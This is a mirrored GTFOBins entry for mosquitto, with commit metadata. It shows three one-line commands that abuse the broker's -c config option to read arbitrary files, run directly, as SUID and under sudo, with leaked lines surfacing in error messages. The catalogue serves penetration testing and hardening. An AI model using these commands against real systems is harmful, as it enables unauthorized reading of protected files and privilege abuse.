1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/mosquitto.md
tin-z b922c960fb
Add mosquitto
Co-authored-by: tin-z <tinz@@>
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-02-28 08:53:13 +01:00

467 B

description functions
The file is actually parsed and the first wrong line (ending with a newline or a null character) is returned in an error message, thus it may not be suitable for reading arbitrary files
file-read suid sudo
code
LFILE=file_to_read mosquitto -c "$LFILE"
code
LFILE=file_to_read ./mosquitto -c "$LFILE"
code
LFILE=file_to_read sudo mosquitto -c "$LFILE"